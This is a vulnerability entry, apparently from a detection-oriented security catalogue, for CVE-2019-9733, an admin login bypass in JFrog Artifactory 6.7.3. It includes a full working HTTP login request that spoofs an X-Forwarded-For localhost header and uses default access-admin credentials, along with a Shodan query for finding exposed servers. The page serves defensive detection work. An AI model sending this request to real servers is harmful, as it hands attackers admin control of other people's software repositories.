🔙 목록으로 돌아가기

CVE-2019-9733: JFrog Artifactory 6.7.3 - Admin Login Bypass

TitleJFrog Artifactory 6.7.3 - Admin Login Bypass
Authorakshansh
SeverityCritical
ImpactSuccessful exploitation allows unauthorized access to the admin panel.
RemediationUpgrade to a patched version of JFrog Artifactory or apply the necessary security patches.
CVSS Score9.8
EPSS Score0.91735
CVE IDCVE-2019-9733
Shodan Querycpe:"cpe:2.3:a:jfrog:artifactory"
Tags cve cve2019 packetstorm artifactory login jfrog vkev vuln

🔍 Vulnerability Description

JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory’s API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.

🌐 HTTP Request

POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 60
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://www.victim.com
Referer: http://www.victim.com/artifactory/webapp/
Request-Agent: artifactoryUI
X-Forwarded-For: 127.0.0.1
X-Requested-With: artUI
Accept-Encoding: gzip

{"user":"access-admin","password":"password","type":"login"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9733.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9733.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A